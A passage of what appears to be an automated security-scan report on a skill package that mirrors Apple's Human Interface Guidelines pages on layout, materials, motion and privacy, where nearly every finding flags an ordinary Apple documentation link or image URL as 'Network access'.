    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/F5AEB5B6-FF48-4201-B110-A0EDA465F3B4/9961_wide_250x141_1x.jpg) Principles of inclusive app design ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 186
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/90B67086-3A99-49A5-965A-D35DB6552AE0/5206_wide_250x141_1x.jpg) The practice of inclusive design ](https://developer.apple.com/videos/play/wwdc2021/10275)
  • Network accessline 188
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/30932E3E-C589-4804-B16E-D0003DEF0F02/5247_wide_250x141_1x.jpg) The process of inclusive design ](https://developer.apple.com/videos/play/wwdc2021/10304)

skills/hig-foundations/references/layout.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Layout | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/layout
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/layout
  • Network accessline 9
    ![A sketch of a small rectangle in the upper-left quadrant of a larger rectangle, suggesting the position of a user interface element within a window. The image is overlaid with rectangular and circular grid lines and is tinted yellow to su
  • Network accessline 13
    Apple provides templates, guides, and other resources that can help you integrate Apple technologies and design your apps and games to run on all Apple platforms. See [Apple Design Resources](https://developer.apple.com/design/resources/).
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/layout#Best-practices)
  • Network accessline 23
    When your content doesn’t span the full window, use a background extension view to provide the appearance of content behind the control layer on either side of the screen, such as beneath the sidebar or inspector. For developer guidance, se
  • Network accessline 25
    ![A screenshot of a full screen iPad app with a sidebar on the leading edge. A photo of Mount Fuji fills the top half of the content area. The photo subtly blurs as it reaches the top of the screen, where toolbar items float above it groupe
  • Network accessline 27
    ## [Visual hierarchy](https://developer.apple.com/design/human-interface-guidelines/layout#Visual-hierarchy)
  • Network accessline 29
    **Differentiate controls from content.** Take advantage of the Liquid Glass material to provide a distinct appearance for controls that’s consistent across iOS, iPadOS, and macOS. Instead of a background, use a scroll edge effect to provide
  • Network accessline 31
    **Place items to convey their relative importance.** People often start by viewing items in reading order — that is, from top to bottom and from the leading to trailing side — so it generally works well to place the most important items nea
  • Network accessline 35
    **Take advantage of progressive disclosure to help people discover content that’s currently hidden.** For example, if you can’t display all the items in a large collection at once, you need to indicate that there are additional items that a
  • Network accessline 37
    **Make controls easier to use by providing enough space around them and grouping them in logical sections.** If unrelated controls are too close together — or if other content crowds them — they can be difficult for people to tell apart or 
  • Network accessline 39
    ## [Adaptability](https://developer.apple.com/design/human-interface-guidelines/layout#Adaptability)
  • Network accessline 62
    **Be prepared for text-size changes.** People appreciate apps and games that respond when they choose a different text size. When you support [Dynamic Type](https://developer.apple.com/design/human-interface-guidelines/typography#Supporting
  • Network accessline 66
    **When necessary, scale artwork in response to display changes.** For example, viewing your app or game in a different context — such as on a screen with a different aspect ratio — might make your artwork appear cropped, letterboxed, or pil
  • Network accessline 68
    ## [Guides and safe areas](https://developer.apple.com/design/human-interface-guidelines/layout#Guides-and-safe-areas)
  • Network accessline 70
    A _layout guide_ defines a rectangular region that helps you position, align, and space your content on the screen. The system includes predefined layout guides that make it easy to apply standard margins around content and restrict the wid
  • Network accessline 72
    A _safe area_ defines the area within a view that isn’t covered by a toolbar, tab bar, or other views a window might provide. Safe areas are essential for avoiding a device’s interactive and display features, like Dynamic Island on iPhone o
  • Network accessline 76
    For templates that include the guides and safe areas for each platform, see [Apple Design Resources](https://developer.apple.com/design/resources/).
  • Network accessline 78
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/layout#Platform-considerations)
  • Network accessline 80
    ### [iOS](https://developer.apple.com/design/human-interface-guidelines/layout#iOS)
  • Network accessline 90
    ### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/layout#iPadOS)
  • Network accessline 92
    People can freely resize windows down to a minimum width and height, similar to window behavior in macOS. It’s important to account for this resizing behavior and the full range of possible window sizes when designing your layout. For guida
  • Network accessline 94
    **As someone resizes a window, defer switching to a compact view for as long as possible.** Design for a full-screen view first, and only switch to a compact view when a version of the full layout no longer fits. This helps the UI feel more
  • Network accessline 98
    **Consider a convertible tab bar for adaptive navigation.** For many apps, you don’t need to choose between a tab bar or sidebar for navigation; instead, you can adopt a style of tab bar that provides both. The app first launches with your 
  • Network accessline 100
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/layout#macOS)
  • Network accessline 104
    **Avoid displaying content within the camera housing at the top edge of the window.** For developer guidance, see [`NSPrefersDisplaySafeAreaCompatibilityMode`](https://developer.apple.com/documentation/BundleResources/Information-Property-L
  • Network accessline 106
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/layout#tvOS)
  • Network accessline 112
    ![An illustration of a TV with a safe zone border on all sides. In width, the top and bottom borders measure 60 points, and the side borders both measure 80 points.](https://docs-assets.developer.apple.com/published/1be425edd08beb67cba3c100
  • Network accessline 114
    **Include appropriate padding between focusable elements.** When you use UIKit and the focus APIs, an element gets bigger when it comes into focus. Consider how elements look when they’re focused, and make sure you don’t let them overlap im
  • Network accessline 116
    ![An illustration that uses vertical shaded rectangles to show padding between focusable items.](https://docs-assets.developer.apple.com/published/1cfcdddb80150197945945a6884a9ade/visual-design-padding%402x.png)
  • Network accessline 118
    #### [Grids](https://developer.apple.com/design/human-interface-guidelines/layout#Grids)
  • Network accessline 122
    If you use the UIKit collection view flow element, the number of columns in a grid is automatically determined based on the width and spacing of your content. For developer guidance, see [`UICollectionViewFlowLayout`](https://developer.appl
  • Network accessline 135
    ![An illustration of Apple TV, displaying a two-column grid of media items. Additional media items are partially visible on the right side and bottom edge of the screen.](https://docs-assets.developer.apple.com/published/29cbd7ef913d834c991
  • Network accessline 137
    #### [Two-column grid](https://developer.apple.com/design/human-interface-guidelines/layout#Two-column-grid)
  • Network accessline 145
    ![An illustration of Apple TV, displaying a three-column grid of media items. Additional media items are partially visible on the right side and bottom edge of the screen.](https://docs-assets.developer.apple.com/published/efc27c2f40d150e63
  • Network accessline 147
    #### [Three-column grid](https://developer.apple.com/design/human-interface-guidelines/layout#Three-column-grid)
  • Network accessline 155
    ![An illustration of Apple TV, displaying a four-column grid of media items. Additional media items are partially visible on the right side of the screen.](https://docs-assets.developer.apple.com/published/b02a182e769f7a89201719f46547dabf/v
  • Network accessline 157
    #### [Four-column grid](https://developer.apple.com/design/human-interface-guidelines/layout#Four-column-grid)
  • Network accessline 165
    ![An illustration of Apple TV, displaying a five-column grid of media items. Additional media items are partially visible on the right side and bottom edge of the screen.](https://docs-assets.developer.apple.com/published/6eebe97a166aceb55e
  • Network accessline 167
    #### [Five-column grid](https://developer.apple.com/design/human-interface-guidelines/layout#Five-column-grid)
  • Network accessline 175
    ![An illustration of Apple TV, displaying a six-column grid of media items. Additional media items are partially visible on the right side and bottom edge of the screen.](https://docs-assets.developer.apple.com/published/a2a7efa8dc58b361508
  • Network accessline 177
    #### [Six-column grid](https://developer.apple.com/design/human-interface-guidelines/layout#Six-column-grid)
  • Network accessline 185
    ![An illustration of Apple TV, displaying a seven-column grid of media items. Additional media items are partially visible on the right side of the screen.](https://docs-assets.developer.apple.com/published/3e625b746a4a31f083020cfa91674bd6/
  • Network accessline 187
    #### [Seven-column grid](https://developer.apple.com/design/human-interface-guidelines/layout#Seven-column-grid)
  • Network accessline 195
    ![An illustration of Apple TV, displaying an eight-column grid of media items. Additional media items are partially visible on the right side and bottom edge of the screen.](https://docs-assets.developer.apple.com/published/71f872111291a6f1
  • Network accessline 197
    #### [Eight-column grid](https://developer.apple.com/design/human-interface-guidelines/layout#Eight-column-grid)
  • Network accessline 205
    ![An illustration of Apple TV, displaying a nine-column grid of media items.](https://docs-assets.developer.apple.com/published/19125b211b45864b26f33d8f54a98a87/visual-design-grid-9-column%402x.png)
  • Network accessline 207
    #### [Nine-column grid](https://developer.apple.com/design/human-interface-guidelines/layout#Nine-column-grid)
  • Network accessline 221
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/layout#visionOS)
  • Network accessline 223
    The guidance below can help you lay out content within the windows of your visionOS app or game, making it feel familiar and easy to use. For guidance on displaying windows in space and best practices for using depth, scale, and field of vi
  • Network accessline 233
    **If you need to display additional controls that don’t belong within a window, use an ornament.** An ornament lets you offer app controls that remain visually associated with a window without interfering with the system-provided controls. 
  • Network accessline 235
    **Make a window’s interactive components easy for people to look at.** You need to include enough space around an interactive component so that visually identifying it is easy and comfortable, and to prevent the system-provided hover effect
  • Network accessline 237
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/layout#watchOS)
  • Network accessline 241
    ![An illustration of the Workout app’s main list of workouts on Apple Watch. A callout indicates that the currently focused workout item spans the full width of the available screen area.](https://docs-assets.developer.apple.com/published/9
  • Network accessline 245
    ![A diagram of an Apple Watch screen showing two side-by-side buttons beneath three lines of text.](https://docs-assets.developer.apple.com/published/25c5882538789bded5a9953eb5e2001f/layout-controls%402x.png)
  • Network accessline 247
    **Support autorotation in views people might want to show others.** When people flip their wrist away, apps typically respond to the motion by sleeping the display, but in some cases it makes sense to autorotate the content. For example, a 
  • Network accessline 249
    ## [Specifications](https://developer.apple.com/design/human-interface-guidelines/layout#Specifications)
  • Network accessline 251
    ### [iOS, iPadOS device screen dimensions](https://developer.apple.com/design/human-interface-guidelines/layout#iOS-iPadOS-device-screen-dimensions)
  • Network accessline 315
    All scale factors in the table above are UIKit scale factors, which may differ from native scale factors. For developer guidance, see [`scale`](https://developer.apple.com/documentation/UIKit/UIScreen/scale) and [`nativeScale`](https://deve
  • Network accessline 317
    ### [iOS, iPadOS device size classes](https://developer.apple.com/design/human-interface-guidelines/layout#iOS-iPadOS-device-size-classes)
  • Network accessline 319
    A size class is a value that’s either regular or compact, where _regular_ refers to a larger screen or a screen in landscape orientation and _compact_ refers to a smaller screen or a screen in portrait orientation. For developer guidance, s
  • Network accessline 374
    ### [watchOS device screen dimensions](https://developer.apple.com/design/human-interface-guidelines/layout#watchOS-device-screen-dimensions)
  • Network accessline 389
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/layout#Resources)
  • Network accessline 391
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/layout#Related)
  • Network accessline 393
    [Right to left](https://developer.apple.com/design/human-interface-guidelines/right-to-left)
  • Network accessline 395
    [Spatial layout](https://developer.apple.com/design/human-interface-guidelines/spatial-layout)
  • Network accessline 397
    [Layout and organization](https://developer.apple.com/design/human-interface-guidelines/layout-and-organization)
  • Network accessline 399
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/layout#Developer-documentation)
  • Network accessline 401
    [Composing custom layouts with SwiftUI](https://developer.apple.com/documentation/SwiftUI/composing-custom-layouts-with-swiftui) — SwiftUI
  • Network accessline 403
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/layout#Videos)
  • Network accessline 405
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/1AAA030E-2ECA-47D8-AE09-6D7B72A840F6/10044_wide_250x141_1x.jpg) Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 407
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/1E740BE0-AF55-430B-B8C2-346CA2982476/6549_wide_250x141_1x.jpg) Compose custom layouts with SwiftUI ](https://developer.apple.com/videos/play/wwdc2022/10056)
  • Network accessline 409
    [![](https://devimages-cdn.apple.com/wwdc-services/images/7/2546ECBD-6443-41EC-921D-6429026F8B67/1700_wide_250x141_1x.jpg) Essential Design Principles ](https://developer.apple.com/videos/play/wwdc2017/802)
  • Network accessline 411
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/layout#Change-log)

skills/hig-foundations/references/materials.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Materials | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/materials
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/materials
  • Network accessline 9
    ![A sketch of overlapping squares, suggesting the use of transparency to hint at background content. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color 
  • Network accessline 13
    Apple platforms feature two types of materials: Liquid Glass, and standard materials. [Liquid Glass](https://developer.apple.com/design/human-interface-guidelines/materials#Liquid-Glass) is a dynamic material that unifies the design languag
  • Network accessline 15
    ## [Liquid Glass](https://developer.apple.com/design/human-interface-guidelines/materials#Liquid-Glass)
  • Network accessline 19
    **Don’t use Liquid Glass in the content layer.** Liquid Glass works best when it provides a clear distinction between interactive elements and content, and including it in the content layer can result in unnecessary complexity and a confusi
  • Network accessline 21
    **Use Liquid Glass effects sparingly.** Standard components from system frameworks pick up the appearance and behavior of this material automatically. If you apply Liquid Glass effects to a custom control, do so sparingly. Liquid Glass seek
  • Network accessline 23
    **Only use clear Liquid Glass for components that appear over visually rich backgrounds.** Liquid Glass provides two variants — [`regular`](https://developer.apple.com/documentation/SwiftUI/Glass/regular) and [`clear`](https://developer.app
  • Network accessline 27
    ![A visual example of the regular variant of Liquid Glass, which appears darker when there is a dark background beneath it.](https://docs-assets.developer.apple.com/published/91bd48556358ab3deb6720c982aa8503/materials-ios-liquid-glass-regul
  • Network accessline 29
    ![A visual example of the regular variant of Liquid Glass, which appears lighter when there is a light background beneath it.](https://docs-assets.developer.apple.com/published/07aee30876315c8b2985a59a3ac1df31/materials-ios-liquid-glass-reg
  • Network accessline 33
    ![A visual example of the clear variant of Liquid Glass, which allows the visual detail of the background beneath it to show through.](https://docs-assets.developer.apple.com/published/fe0cd9171626ada19f9ea7343f60a426/materials-ios-liquid-g
  • Network accessline 37
    * If the underlying content is bright, consider adding a dark dimming layer of 35% opacity. For developer guidance, see [`clear`](https://developer.apple.com/documentation/SwiftUI/Glass/clear).
  • Network accessline 44
    For guidance about the use of color, see [Liquid Glass color](https://developer.apple.com/design/human-interface-guidelines/color#Liquid-Glass-color).
  • Network accessline 46
    ## [Standard materials](https://developer.apple.com/design/human-interface-guidelines/materials#Standard-materials)
  • Network accessline 48
    Use standard materials and effects — such as [blur](https://developer.apple.com/documentation/UIKit/UIBlurEffect), [vibrancy](https://developer.apple.com/documentation/UIKit/UIVibrancyEffect), and [blending modes](https://developer.apple.co
  • Network accessline 52
    **Help ensure legibility by using vibrant colors on top of materials.** When you use system-defined vibrant colors, you don’t need to worry about colors seeming too dark, bright, saturated, or low contrast in different contexts. Regardless 
  • Network accessline 54
    ![An illustration of a Share button with a translucent background material and a symbol. The symbol uses the systemGray3 color and is difficult to see against the background material.](https://docs-assets.developer.apple.com/published/8a395
  • Network accessline 56
    ![An X in a circle to indicate incorrect usage](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 58
    ![An illustration of a Share button with a translucent background material and a symbol. The symbol uses vibrant color and is clearly visible against the background material.](https://docs-assets.developer.apple.com/published/7495cfbce7d79a
  • Network accessline 60
    ![A checkmark in a circle to indicate correct usage](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 71
    For developer guidance, see [`Material`](https://developer.apple.com/documentation/SwiftUI/Material).
  • Network accessline 73
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/materials#Platform-considerations)
  • Network accessline 75
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/materials#iOS-iPadOS)
  • Network accessline 79
    ![An illustration of the iOS and iPadOS ultraThin material above a colorful background. Where the material overlaps the background, it provides a diffuse gradient of the background colors.](https://docs-assets.developer.apple.com/published/
  • Network accessline 81
    ![An illustration of the iOS and iPadOS thin material above a colorful background. Where the material overlaps the background, it provides a diffuse and slightly darkened gradient of the background colors.](https://docs-assets.developer.app
  • Network accessline 83
    ![An illustration of the iOS and iPadOS regular material above a colorful background. Where the material overlaps the background, it provides a diffuse and darkened gradient of the background colors.](https://docs-assets.developer.apple.com
  • Network accessline 85
    ![An illustration of the iOS and iPadOS thick material above a colorful background. Where the material overlaps the background, it provides a dark, muted gradient of the background colors.](https://docs-assets.developer.apple.com/published/
  • Network accessline 89
    Except for quaternary, you can use the following vibrancy values for labels on any material. In general, avoid using quaternary on top of the [`thin`](https://developer.apple.com/documentation/SwiftUI/Material/thin) and [`ultraThin`](https:
  • Network accessline 91
    * [`UIVibrancyEffectStyle.label`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/label) (default)
  • Network accessline 93
    * [`UIVibrancyEffectStyle.secondaryLabel`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/secondaryLabel)
  • Network accessline 95
    * [`UIVibrancyEffectStyle.tertiaryLabel`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/tertiaryLabel)
  • Network accessline 97
    * [`UIVibrancyEffectStyle.quaternaryLabel`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/quaternaryLabel)
  • Network accessline 104
    * [`UIVibrancyEffectStyle.fill`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/fill) (default)
  • Network accessline 106
    * [`UIVibrancyEffectStyle.secondaryFill`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/secondaryFill)
  • Network accessline 108
    * [`UIVibrancyEffectStyle.tertiaryFill`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/tertiaryFill)
  • Network accessline 113
    The system provides a single, default vibrancy value for a [separator](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/separator), which works well on all materials.
  • Network accessline 115
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/materials#macOS)
  • Network accessline 117
    macOS provides several standard materials with designated purposes, and vibrant versions of all [system colors](https://developer.apple.com/design/human-interface-guidelines/color#Specifications). For developer guidance, see [`NSVisualEffec
  • Network accessline 121
    **Choose a background blending mode that complements your interface design.** macOS defines two modes that blend background content: behind window and within window. For developer guidance, see [`NSVisualEffectView.BlendingMode`](https://de
  • Network accessline 123
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/materials#tvOS)
  • Network accessline 127
    ![A screenshot of the Destination Video app running in tvOS. The app shows a screen with details about a video called A BOT-anist Adventure. The background is a colorful image of the main character in a scene from the video. The interface e
  • Network accessline 131
    Material| Recommended for   ---|---   [`ultraThin`](https://developer.apple.com/documentation/SwiftUI/Material/ultraThin)| Full-screen views that require a light color scheme
  • Network accessline 132
    ---|---   [`ultraThin`](https://developer.apple.com/documentation/SwiftUI/Material/ultraThin)| Full-screen views that require a light color scheme   [`thin`](https://developer.apple.com/documentation/SwiftUI/Material/thin)| Overlay views th
  • Network accessline 133
    [`ultraThin`](https://developer.apple.com/documentation/SwiftUI/Material/ultraThin)| Full-screen views that require a light color scheme
  • Network accessline 134
    [`thin`](https://developer.apple.com/documentation/SwiftUI/Material/thin)| Overlay views that partially obscure onscreen content and require a light color scheme
  • Network accessline 135
    [`regular`](https://developer.apple.com/documentation/SwiftUI/Material/regular)| Overlay views that partially obscure onscreen content
  • Network accessline 136
    [`thick`](https://developer.apple.com/documentation/SwiftUI/Material/thick)| Overlay views that partially obscure onscreen content and require a dark color scheme
  • Network accessline 138
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/materials#visionOS)
  • Network accessline 154
    ![An illustration of a field of view in visionOS with a window in the center. The window has an opaque background that obstructs its surroundings.](https://docs-assets.developer.apple.com/published/137ceb38a96227aa8a9d2021ee82a8e2/materials
  • Network accessline 156
    ![An X in a circle to indicate incorrect usage](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 158
    ![An illustration of a field of view in visionOS with a window in the center. The window has a translucent material background that allows its surroundings to pass through.](https://docs-assets.developer.apple.com/published/3f23b3476f6cf8cc
  • Network accessline 160
    ![A checkmark in a circle to indicate correct usage](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 164
    * The [`thin`](https://developer.apple.com/documentation/SwiftUI/Material/thin) material brings attention to interactive elements like buttons and selected items.
  • Network accessline 166
    * The [`regular`](https://developer.apple.com/documentation/SwiftUI/Material/regular) material can help you visually separate sections of your app, like a sidebar or a grouped table view.
  • Network accessline 168
    * The [`thick`](https://developer.apple.com/documentation/SwiftUI/Material/thick) material lets you create a dark element that remains visually distinct when it’s on top of an area that uses a `regular` background.
  • Network accessline 173
    ![An illustration of a field of view in visionOS with a window in the center. The window is composed of a sidebar on the left and a content area on the right, with a text field at the top and a button in the lower-right corner. The sidebar 
  • Network accessline 179
    * Use [`UIVibrancyEffectStyle.label`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/label) for standard text.
  • Network accessline 181
    * Use [`UIVibrancyEffectStyle.secondaryLabel`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/secondaryLabel) for descriptive text like footnotes and subtitles.
  • Network accessline 183
    * Use [`UIVibrancyEffectStyle.tertiaryLabel`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/tertiaryLabel) for inactive elements, and only when text doesn’t need high legibility.
  • Network accessline 188
    ![An illustration of a Share button with a translucent background material and a symbol. The symbol uses the default vibrant label color and has very high contrast against the background material.](https://docs-assets.developer.apple.com/pu
  • Network accessline 190
    ![An illustration of a Share button with a translucent background material and a symbol. The symbol uses the secondary vibrant label color and has high contrast against the background material.](https://docs-assets.developer.apple.com/publi
  • Network accessline 192
    ![An illustration of a Share button with a translucent background material and a symbol. The symbol uses the tertiary vibrant label color and has muted contrast against the background material.](https://docs-assets.developer.apple.com/publi
  • Network accessline 194
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/materials#watchOS)
  • Network accessline 198
    ![An illustration of a modal view in watchOS with an example title, descriptive text, and a single action button. The modal completely covers the screen with a transparent material, and uses a thinner material for the button along with vibr
  • Network accessline 200
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/materials#Resources)
  • Network accessline 202
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/materials#Related)
  • Network accessline 204
    [Color](https://developer.apple.com/design/human-interface-guidelines/color)
  • Network accessline 206
    [Accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility)
  • Network accessline 208
    [Dark Mode](https://developer.apple.com/design/human-interface-guidelines/dark-mode)
  • Network accessline 210
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/materials#Developer-documentation)
  • Network accessline 212
    [Adopting Liquid Glass](https://developer.apple.com/documentation/TechnologyOverviews/adopting-liquid-glass)
  • Network accessline 214
    [`glassEffect(_:in:)`](https://developer.apple.com/documentation/SwiftUI/View/glassEffect\(_:in:\)) — SwiftUI
  • Network accessline 216
    [`Material`](https://developer.apple.com/documentation/SwiftUI/Material) — SwiftUI
  • Network accessline 218
    [`UIVisualEffectView`](https://developer.apple.com/documentation/UIKit/UIVisualEffectView) — UIKit
  • Network accessline 220
    [`NSVisualEffectView`](https://developer.apple.com/documentation/AppKit/NSVisualEffectView) — AppKit
  • Network accessline 222
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/materials#Videos)
  • Network accessline 224
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/5CD0E251-424E-490F-89CF-1E64848209A6/9910_wide_250x141_1x.jpg) Meet Liquid Glass ](https://developer.apple.com/videos/play/wwdc2025/219)
  • Network accessline 226
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/1AAA030E-2ECA-47D8-AE09-6D7B72A840F6/10044_wide_250x141_1x.jpg) Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 228
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/materials#Change-log)

skills/hig-foundations/references/motion.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Motion | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/motion
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/motion
  • Network accessline 9
    ![A sketch of three overlapping diamonds, suggesting the movement of an element from left to right. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color A
  • Network accessline 11
    Many system components automatically include motion, letting you offer familiar and consistent experiences throughout your app or game. System components might also adjust their motion in response to factors like accessibility settings or d
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/motion#Best-practices)
  • Network accessline 19
    **Make motion optional.** Not everyone can or wants to experience the motion in your app or game, so it’s essential to avoid using it as the only way to communicate important information. To help everyone enjoy your app or game, supplement 
  • Network accessline 21
    ## [Providing feedback](https://developer.apple.com/design/human-interface-guidelines/motion#Providing-feedback)
  • Network accessline 31
    **Consider using animated symbols where it makes sense.** When you use SF Symbols 5 or later, you can apply animations to SF Symbols or custom symbols. For guidance, see [Animations](https://developer.apple.com/design/human-interface-guidel
  • Network accessline 33
    ## [Leveraging platform capabilities](https://developer.apple.com/design/human-interface-guidelines/motion#Leveraging-platform-capabilities)
  • Network accessline 39
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/motion#Platform-considerations)
  • Network accessline 43
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/motion#visionOS)
  • Network accessline 45
    In addition to subtly communicating context, drawing attention to information, and enriching immersive experiences, motion in visionOS can combine with [depth](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Dep
  • Network accessline 49
    **Help people remain comfortable when showing the movement of large virtual objects.** If an object is large enough to fill a lot of the [field of view](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Field-of-v
  • Network accessline 63
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/motion#watchOS)
  • Network accessline 65
    SwiftUI provides a powerful and streamlined way to add motion to your app. If you need to use WatchKit to animate layout and appearance changes — or create animated image sequences — see [`WKInterfaceImage`](https://developer.apple.com/docu
  • Network accessline 71
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/motion#Resources)
  • Network accessline 73
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/motion#Related)
  • Network accessline 75
    [Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback)
  • Network accessline 77
    [Accessibility](https://www.apple.com/accessibility/)
  • Network accessline 79
    [Spatial layout](https://developer.apple.com/design/human-interface-guidelines/spatial-layout)
  • Network accessline 81
    [Immersive experiences](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences)
  • Network accessline 83
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/motion#Developer-documentation)
  • Network accessline 85
    [Animating views and transitions](https://developer.apple.com/tutorials/SwiftUI/animating-views-and-transitions) — SwiftUI
  • Network accessline 87
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/motion#Videos)
  • Network accessline 89
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/B38CC217-7635-48EF-B8C9-F7954F390CCE/9273_wide_250x141_1x.jpg) Enhance your UI animations and transitions ](https://developer.apple.com/videos/pl
  • Network accessline 91
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/A8C0D750-CF09-48F3-982B-0D1B870F273F/9279_wide_250x141_1x.jpg) Create custom visual effects with SwiftUI ](https://developer.apple.com/videos/pla
  • Network accessline 93
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/2C47B638-090D-4CBB-9E9E-EBE8114536D9/8132_wide_250x141_1x.jpg) Design considerations for vision and motion ](https://developer.apple.com/videos/p
  • Network accessline 95
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/motion#Change-log)

skills/hig-foundations/references/privacy.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Privacy | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/privacy
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/privacy
  • Network accessline 9
    ![A sketch of an upright hand, suggesting protection. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](https://docs-assets.developer.appl
  • Network accessline 13
    When you submit a new or updated app, you must provide details about your privacy practices and the privacy-relevant data you collect so the App Store can display the information on your product page. (You can manage this information at any
  • Network accessline 15
    ![A screenshot of the App Privacy screen in an app’s App Store product page. The top card in the screen is titled Data Used to Track You and lists contact info, other data, and identifiers. The bottom card is titled Data Linked to You and l
  • Network accessline 19
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/privacy#Best-practices)
  • Network accessline 23
    **Be transparent about how your app collects and uses people’s data.** People are less likely to be comfortable sharing data with your app if they don’t understand exactly how you plan to use it. Always respect people’s choices to use syste
  • Network accessline 29
    ## [Requesting permission](https://developer.apple.com/design/human-interface-guidelines/privacy#Requesting-permission)
  • Network accessline 50
    **Request permission only when your app clearly needs access to the data or resource.** It’s natural for people to be suspicious of a request for personal information or access to a device capability, especially if there’s no obvious need f
  • Network accessline 54
    **Write copy that clearly describes how your app uses the ability, data, or resource you’re requesting.** The standard alert displays your copy (called a _purpose string_ or _usage description string_) after your app name and before the but
  • Network accessline 56
    | Example purpose string| Notes   ---|---|---   ![A checkmark in a circle to indicate a correct example.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| The app records during the nig
  • Network accessline 57
    ---|---|---   ![A checkmark in a circle to indicate a correct example.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| The app records during the night to detect snoring sounds.| An a
  • Network accessline 58
